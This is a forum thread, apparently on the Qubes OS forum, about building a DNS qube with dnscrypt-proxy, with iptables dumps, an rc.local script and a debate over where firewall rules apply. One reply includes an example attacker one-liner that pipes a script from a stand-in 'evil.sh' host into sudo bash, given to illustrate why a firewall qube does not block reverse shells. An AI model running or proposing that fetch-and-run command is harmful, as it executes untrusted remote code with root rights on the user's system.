@qubist Thank you for sharing, it works beautifully!
What memory parameters you can suggest in order to use the limited RAM more frugally?
I don’t understand why do we need sys-wall when you yourself said that sys-firewall-2 makes no sense.
Walk me through these lines please.
Do I understand it correctly that 10.139.1.1/32 and 10.139.1.2/32 are addresses of the qubes dns server? If so, why there are two of them?
Is assigned by qubes dhcp server sys-dns ip address always static?
What does PR-QBS chain exactly do? Does it forward all packets on port 53 in all qubes to the 10.139.1.1-10.139.1.2? And in your example it further redirects them to sys-dns ip?
wtf, why is unman’s post listed as my parent post?
well, whatever, he has some interesting things in his post related to my question
When the upstream qube sees DNS traffic to those addresses it forwards it upstream.
This is all fine and dandy, but how does this works exactly?
In my firewall vm I have the following iptables configuration:
- filter
Chain INPUT (policy DROP 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
0 0 DROP all -- any any anywhere anywhere state INVALID
0 0 DROP udp -- vif+ any anywhere anywhere udp dpt:bootpc
16 1582 ACCEPT all -- any any anywhere anywhere ctstate RELATED,ESTABLISHED
0 0 ACCEPT icmp -- vif+ any anywhere anywhere
4 208 ACCEPT all -- lo any anywhere anywhere
0 0 REJECT all -- vif+ any anywhere anywhere reject-with icmp-host-prohibited
0 0 DROP all -- any any anywhere anywhere
Chain FORWARD (policy DROP 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
0 0 DROP all -- any any anywhere anywhere state INVALID
2241K 2453M ACCEPT all -- any any anywhere anywhere ctstate RELATED,ESTABLISHED
653 160K QBS-FORWARD all -- any any anywhere anywhere
0 0 DROP all -- vif+ vif+ anywhere anywhere
653 160K ACCEPT all -- vif+ any anywhere anywhere
0 0 DROP all -- any any anywhere anywhere
Chain OUTPUT (policy ACCEPT 20 packets, 1202 bytes)
pkts bytes target prot opt in out source destination
Chain QBS-FORWARD (1 references)
pkts bytes target prot opt in out source destination
- mangle
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
2244K 2456M QBS-POSTROUTING all -- any any anywhere anywhere
Chain QBS-POSTROUTING (1 references)
pkts bytes target prot opt in out source destination
- nat
Chain PREROUTING (policy ACCEPT 115 packets, 79516 bytes)
pkts bytes target prot opt in out source destination
415 102K PR-QBS all -- any any anywhere anywhere
115 79516 PR-QBS-SERVICES all -- any any anywhere anywhere
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
Chain OUTPUT (policy ACCEPT 16 packets, 1042 bytes)
pkts bytes target prot opt in out source destination
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
0 0 ACCEPT all -- any vif+ anywhere anywhere
4 208 ACCEPT all -- any lo anywhere anywhere
425 103K MASQUERADE all -- any any anywhere anywhere
Chain PR-QBS (1 references)
pkts bytes target prot opt in out source destination
300 22677 DNAT udp -- any any anywhere 10.139.1.1 udp dpt:domain to:10.139.1.1
0 0 DNAT tcp -- any any anywhere 10.139.1.1 tcp dpt:domain to:10.139.1.1
0 0 DNAT udp -- any any anywhere 10.139.1.2 udp dpt:domain to:10.139.1.2
0 0 DNAT tcp -- any any anywhere 10.139.1.2 tcp dpt:domain to:10.139.1.2
Chain PR-QBS-SERVICES (1 references)
pkts bytes target prot opt in out source destination
- raw
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
0 0 DROP all -- !vif+ any 10.137.0.36 anywhere
0 0 DROP all -- vif7.0 any !10.137.0.36 anywhere
0 0 DROP all -- !vif+ any 10.138.16.52 anywhere
0 0 DROP all -- vif6.0 any !10.138.16.52 anywhere
2245K 2457M QBS-PREROUTING all -- any any anywhere anywhere
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
Chain QBS-PREROUTING (1 references)
pkts bytes target prot opt in out source destination
- security
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
The only substantial part related to PR-QBS is in the nat table and it is just a tautology that forwards to 10.139.1.1 if the destination is 10.139.1.1
I don’t see how it “forwards it upstream”
What memory parameters you can suggest in order to use the limited RAM more frugally?
The minimum which doesn’t cause swapping.
The following solution for /rw/config/rc.local is a lot easier than my suggestion above and survives hotplugging of sys-dns:
#!/bin/sh
# allow redirects to localhost
/usr/sbin/sysctl -w net.ipv4.conf.all.route_localnet=1
/usr/sbin/iptables -I INPUT -i vif+ -p tcp --dport 53 -d 127.0.0.1 -j ACCEPT
/usr/sbin/iptables -I INPUT -i vif+ -p udp --dport 53 -d 127.0.0.1 -j ACCEPT
# there is no place like 127.0.0.1
echo "nameserver 127.0.0.1" > /etc/resolv.conf
echo "nameserver 127.0.0.1" >> /etc/resolv.conf
# enable hotplugging survival
qubesdb-write /qubes-primary-dns 127.0.0.1
qubesdb-write /qubes-secondary-dns 127.0.0.1
# rerun setup of DNAT rules
/usr/lib/qubes/init/network-proxy-setup.sh
# start dnscrypt-proxy
/usr/bin/systemctl start dnscrypt-proxy.service
As written above dnscrypt-proxy has to be installed in sys-dns’ template and at least /etc/dnscrypt-proxy/dnscrypt-proxy.toml has to be set up to your needs inside of the template. As you don’t want the service running in other VMs I suggest to disable dnscrypt-proxy.service in the template.
A separate template is not necessary. From my point of view sys-dns should be placed between sys-firewall and sys-net. One could argue to run the service in sys-net as it is the VM with the biggest attack surface anyway.
From my point of view
sys-dnsshould be placed betweensys-firewallandsys-net.
How is sys-dns protected then?
One could argue to run the service in
sys-netas it is the VM with the biggest attack surface anyway.
Why would anyone want to put more data/services on the biggest attack surface, thus increasing it?
It is not. However, I am not sure what you mean by “protected”. AFAIK “protection” is offered by AV-solutions. Often they even claim to protect you “military-grade”.
Because you have to put the service somewhere if you want to run dnscrypt-proxy yourself.
Talking about attack surface: every VM has its own attack surface. I assume the biggest attack surface are presented by the apps (webbrowser, email-client, office, instant messenger, asf.) running in AppVMs.
The Qubes-OS-way is to confine these or in this case dnscrypt-proxy.service with Xen in separate VMs, i.e. a disposable sys-dns. You could plug stuff like this
appVM <---> sys-firewall <---> sys-dns <---> sys-net <---> uplink
or you could plug your VMs like this
appVM <---> sys-firewall <---> sys-net <---> uplink
| *
sys-dns
or like this
appVM <---> sys-firewall <---> sys-net <---> uplink
| *
sys-dns
instead, and
*) enforce strict firewall rules there.
You could also use a pi-hole on a RasPi in your local net and tell your router to point all DNS requests there.
It is not.
Why do you suggest such setup then?
However, I am not sure what you mean by “protected”.
The way a firewall protects.
AFAIK “protection” is offered by AV-solutions.
What is AV?
Because you have to put the service somewhere if you want to run dnscrypt-proxy yourself.
The question is why “somewhere” should be the biggest attack surface.
Talking about attack surface: every VM has its own attack surface. I assume the biggest attack surface are presented by the apps (webbrowser, email-client, office, instant messenger, asf.) running in AppVMs.
Previously you said “sys-net is the VM with the biggest attack surface anyway.” Now you are saying other things have the biggest attack surface. I wonder what you are trying to convey.
The Qubes-OS-way is to confine these or in this case dnscrypt-proxy.service with Xen in separate VMs, i.e. a disposable sys-dns. You could plug stuff like this […]
Your examples contradict what the docs recommend (which I hoped is the Qubes OS way). Are the docs wrong? Or are you simply discussing what is possible (“could”) rather than what is better from security perspective (“should”)?
Let me shortly clarify your confusion with the doc:
The Qubes firewall is always implemented in the next downstream (or upstream depending on your notion of that word) VM/Qube regardless of the VM name. The name of a VM doesn’t imply any functionality for Qubes OS.
So if you have
sys-net <–> sys-firewall-1 <–> network service qube <–> [client qubes]
(i.e. without sys-firewall-2 which you deem unnecessary)
the rules for [client qubes] are enforced in your network service qube.
That is the reason why the doc tells you to not mess with the firewall rules in firewall service qubes (in this case the network service qube) and guides you towards the architecture with sys-firewall-2.
sys-firewall-1 only enforces rules for the network service qube and not for any [client qubes] as you seem to think.
IIRC I wrote the doc back in the days after I had had some discussion with Marek about exactly that topic. Feel free to update it though if you find more clear words.
Also, IIRC nftables supersedes iptables, i.e. there’s no duplicate use. You’ll notice that every iptables rule has a corresponding nftables rule simply because the kernel only keeps the nftables rules and translates legacy iptables instructions to nftables.
Fyi: Some time ago I published [1] to simplify the setup process of a DNS VM.
2 Likes
I’m not suggesting an all-in-one solution. Security is a process, not a state. In Qubes-OS xen is isolating VMs from each other. However, in every VM where you can do a
curl -s http://google.com | less
sucessfully, an attacker could do a
curl -sk https://somewhere.org/evil.sh | sudo /bin/bash
given he got RCE (remote code execution). As port 443 and 80 on remote hosts are reachable an attacker can use either one for a callback.
There are different kinds of firewalls. sys-firewall does not protect against a reverse shell or any other malicious code execution as shown (easily reproducible) above. On the contrary it provides connectivity.
Antivirus like Microsoft Defender.
Decide yourself. If I understand @tripleh correctly, he suggests to place your dns resolver inside an appVM of your choice and do not mess with iptables if you don’t know what you are doing.
Me, too! 
Thanks for stepping in.
I don’t deem sys-firewall-2 unnecessary. As you can see, I do use in my setup (sys-wall).
The doc is confusing not because it suggests the particular infrastructure but because it does not clarify how things actually work - what your current explanation aims to compensate for.
After spending some months with Qubes OS, I notice this common pattern in the docs - the beginner and advanced level are somewhat disconnected, making it difficult for (an interested) one to go deeper.
sys-firewall-1 only enforces rules for the network service qube and not for any [client qubes] as you seem to think.
My understanding is that a firewall enforces rules for network packets, not for machines (be those physical or virtual). IOW, if sys-firewall-1 blocks all outgoing traffic on TCP port 1234 through forward table, [client qubes] will be affected too. Please correct me if I am wrong.
IIRC I wrote the doc back in the days after I had had some discussion with Marek about exactly that topic. Feel free to update it though if you find more clear words.
I am neither a network expert, nor a Qubes OS expert.
Also, IIRC nftables supersedes iptables, i.e. there’s no duplicate use. You’ll notice that every iptables rule has a corresponding nftables rule simply because the kernel only keeps the nftables rules and translates legacy iptables instructions to nftables.
That is true only if if iptables-nft is installed. In a minimal Fedora 37 template it is not installed and qubes-core-agent-networking does not install it as a dependency. The result can be confusing. You see: another thing that needs documentation.
I have no idea why legacy rules and their translation are necessary. IMO, iptables has to go and only nftables should be used. I don’t know if anyone is working in that direction.
Thanks for the link too, I will have a look.
Security is a process, not a state.
That doesn’t mean we should start from a known unprotected state.
In Qubes-OS xen is isolating VMs from each other. However, in every VM where you can do a […]
Only if the VM is connected to the Internet and has curl installed. But that has nothing to do with sys-dns. 
from me: “sys-firewall-1 only enforces rules for the network service qube and not for any [client qubes] as you seem to think.”
from you: “My understanding is that a firewall enforces rules for network packets, not for machines (be those physical or virtual). IOW, if sys-firewall-1 blocks all outgoing traffic on TCP port 1234 through forward table, [client qubes] will be affected too. Please correct me if I am wrong.”
(IIRC quoting in replying via e-mail didn’t work on the forum, but it may be fixed by now, idk.)
Partially true:
- Most firewall rules involve hosts.
- Assuming the doc network infrastructure Qubes OS uses nft to dynamically create rules for [client qubes] inside sys-firewall-2. If you don’t have sys-firewall-2 it’ll use the [network service qube] and so on. However if you then do strange things in there, the Qubes OS firewall may not be effective. Qubes firewall rules for the [network service qube] are implemented by Qubes OS inside sys-firewall-1 (= the next downstream/upstream qube from [network service qube] perspective).
- If [network service qube] is e.g. used for VPN, there won’t be any relevant destination IP to block anymore in sys-firwall-1 as all you see there is traffic to the VPN server. You’ll need sys-firewall-2 to block anything relevant for [client qubes]. Btw if you wanted to allow only the VPN server destination IPs from the [network service = VPN qube], you’d still need sys-firewall-1 and configure those on the [network service qube] Qubes firewall.
from me: “Also, IIRC nftables supersedes iptables, i.e. there’s no duplicate use. You’ll notice that every iptables rule has a corresponding nftables rule simply because the kernel only keeps the nftables rules and translates legacy iptables instructions to nftables.”
from you: “That is true only if if iptables-nft is installed. In a minimal Fedora 37 template it is not installed and qubes-core-agent-networking does not install it as a dependency. The result can be confusing. You see: another thing that needs documentation.”
True.
“I have no idea why legacy rules and their translation are necessary. IMO, iptables has to go and only nftables should be used. I don’t know if anyone is working in that direction.”
Qubes 4.2 only uses nft.
(IIRC quoting in replying via e-mail didn’t work on the forum, but it may be fixed by now, idk.)
I notice that “>” prefixed lines appear indented in the forum, so it seems to work fine. I use that when I reply by email.
- Assuming the doc network infrastructure Qubes OS uses nft to dynamically create rules for [client qubes] inside sys-firewall-2. If you don’t have sys-firewall-2 it’ll use the [network service qube] and so on.
If that is to be documented, it should come with a reminder that it applies only if the upstream qube (be that sys-firewall-2 or the [network service qube]) has qubes-core-agent-networking installed.
Qubes firewall rules for the [network service qube] are implemented by Qubes OS inside sys-firewall-1 (= the next downstream/upstream qube from [network service qube] perspective).
I suppose you mean the rules introduced through [network service qube]'s Settings tab (or through qvm-firewall). As shown in both guides above, we cannot possibly avoid using firewall rules in the [network service qube] itself. Or can we?
- If [network service qube] is e.g. used for VPN […]
Currently, I am looking for a way to restrict a Whonix-based qube to access only specific hosts(s) through Tor. Is that documented/discussed somewhere? Or can you suggest how to do it?
To avoid off-topic, I am opening another thread for this, and I hope you can comment there:
Qubes 4.2 only uses nft.
Excellent.
Good point. If an attacker wants to exploit dnscrypt-proxy that would also require quite a few edge cases, like an existing vulnerability and exploit, some manipulated dns-answer from a pwned dns resolver and so forth. curl, nc asf. would come handy as well.
What I’m trying to say: if one wants to use dnscrypt-proxy one has to put the service somewhere. You could put it in your AppVM, but if all your networking VMs are supposed to use it you might want to put it somewhere upstream, like in sys-firewall, sys-net, on your router or a raspi in your local net. Or a sys-dns.
Good to know. As long as network-proxy-setup.sh hasn’t been altered profoundly
in rc.local should still work fine in QubesOS 4.2rc1, but I haven’t time to try it.
remove please
Is there an up-to-date guide for this, or perhaps can someone knowledgeable make one?
As of today, I am still using the exact setup I shared. The only new thing I am planning now is to migrate from Fedora 37 to Fedora 38 minimal templates but I don’t expect any issues. If I face any, I will share.
Do you see anything else outdated?
I migrated to fedora-38-minimal when it came out and I’m using your setup with it. I didn’t meet any Problem.
2 Likes
Let me shortly clarify your confusion with the doc:
The Qubes firewall is always implemented in the next downstream (or upstream depending on your notion of that word) VM/Qube regardless of the VM name. The name of a VM doesn’t imply any functionality for Qubes OS.
So if you have
sys-net <–> sys-firewall-1 <–> network service qube <–> [client qubes]
(i.e. without sys-firewall-2 which you deem unnecessary)
the rules for [client qubes] are enforced in your network service qube.
That is the reason why the doc tells you to not mess with the firewall rules in firewall service qubes (in this case the network service qube) and guides you towards the architecture with sys-firewall-2.
sys-firewall-1 only enforces rules for the network service qube and not for any [client qubes] as you seem to think.IIRC I wrote the doc back in the days after I had had some discussion with Marek about exactly that topic. Feel free to update it though if you find more clear words.
Also, IIRC nftables supersedes iptables, i.e. there’s no duplicate use. You’ll notice that every iptables rule has a corresponding nftables rule simply because the kernel only keeps the nftables rules and translates legacy iptables instructions to nftables.
Fyi: Some time ago I published [1] to simplify the setup process of a DNS VM.
Thank you for the scripts and updating them for nft.
Now I just have to read through them all to figure out how to set it up and use it haha
But nothing wrong with learning how something works before you start using it for future troubleshooting.
So far the only solution I’ve seen that I know is converted for nft so I can use it on 4.2.
Thanks again!
So far the only solution I’ve seen that I know is converted for nft so I can use it on 4.2.
Please note that I’ve never tested them on 4.2 - just on 4.1 so far.
They should work on 4.2 as well though. Let me know, if not.
Thanks again!
You’re very welcome!